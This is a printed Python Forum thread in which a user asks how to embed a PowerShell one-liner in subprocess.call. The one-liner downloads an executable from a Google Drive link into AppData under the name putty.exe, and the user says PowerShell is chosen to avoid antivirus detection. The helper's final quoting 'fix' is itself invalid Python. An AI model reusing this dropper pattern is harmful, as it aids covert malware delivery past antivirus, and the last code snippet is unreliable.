run command on system with multi qoutes - Printable Version +- Python Forum (https://python-forum.io) +-- Forum: Python Coding (https://python-forum.io/forum-7.html) +--- Forum: General Coding Help (https://python-forum.io/forum-8.html) +--- Thread: run command on system with multi qoutes (/thread-12559.html) Pages:
1
2
|
run command on system with multi qoutes - evilcode1 - Aug-30-2018 hello all ... im trying yo execute this command on my system via powershell : Quote:powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')" i keeep getting this error SyntaxError: invalid syntax ... the problem from qoutes !! can u guide me how to execute it and how to deal with multi qoutes ? my code : def downloadfile(): down = subprocess.call('powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"') time.sleep(20) downloadfile() RE: run command on system with multi qoutes - Larz60+ - Aug-30-2018 Ok, is this the end goal? download file: 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m' ? if so, why not do the whole thing with python? RE: run command on system with multi qoutes - evilcode1 - Aug-31-2018 (Aug-30-2018, 11:21 PM)Larz60+ Wrote: Ok,yes right ... python download library not a friend with antivirus :) and i need it in command line please RE: run command on system with multi qoutes - Larz60+ - Aug-31-2018 Quote:python download library not a friend with antivirus :)please elaborate. ? How so RE: run command on system with multi qoutes - evilcode1 - Aug-31-2018 (Aug-31-2018, 10:45 AM)Larz60+ Wrote:Quote:python download library not a friend with antivirus :)please elaborate. ? How so Sometimes anti-virus classify this behavior as suspicious because its try to download a program in the background ... but when u use powershell it will pass it because powershell comes with windows by default ( signed by microsoft ) can u help me now to execute the command RE: run command on system with multi qoutes - Larz60+ - Aug-31-2018 Not all firewalls are written by windows. And Even when I use MS windows, I have never had a problem downloading unless the download site was trying to prevent it. I tested your url, and had no problem. to use this, requests must be installed: pip install requestsi used: import requests def get_file(url, savefile=None, mode='w'): response = requests.get(url) if response.status_code == 200: if savefile: with open(savefile, mode) as fp: fp.write(response.content) if __name__ == '__main__': url = 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m' get_file(url, 'pink.exe', 'wb') RE: run command on system with multi qoutes - evilcode1 - Aug-31-2018 (Aug-31-2018, 11:13 AM)Larz60+ Wrote: Not all firewalls are written by windows. thank u for ur help my brother but i need it via powershell :) i need to run this command on the system : Quote:powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')" RE: run command on system with multi qoutes - Larz60+ - Aug-31-2018 By system, I expect you mean command line. if you modify the python script like: import requests import sys def get_file(url, savefile=None, mode='w'): response = requests.get(url) if response.status_code == 200: if savefile: with open(savefile, mode) as fp: fp.write(response.content) if __name__ == '__main__': url = sys.argv[1] save = sys.argv[2] get_file(url, save, 'wb')save it as getfile.py now you can run python getfile/py 'url' 'saveas' from the system command line and also be able to call it from inside another python program by importing getfile, and calling get_file directly example: python getfile.py 'https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m' pink.exeit will do what you want. for any url and any save name RE: run command on system with multi qoutes - evilcode1 - Aug-31-2018 sorry my brother u did not understand me ... i need it inside my program not with external arguments like that .. import subprocess def downloadfile(): down = subprocess.call('whoami') downloadfile()i just need to replace whoami with : Quote:powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"but becuase the command have a lot of "" i cant understand how to execute it i keep got : SyntaxError: invalid syntax i need to execute it from cmd without any external arguments check the photo i mean i dont need to download the file by python ... i need to download the file by powershell command executed by python RE: run command on system with multi qoutes - Larz60+ - Aug-31-2018 replace: powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"with: mycommand = "powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = {};$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')".format(myUserAgentString)then command is: def downloadfile(): mycommand = "powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = {};$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')".format(myUserAgentString) down = subprocess.call(mycommand) time.sleep(20) downloadfile() |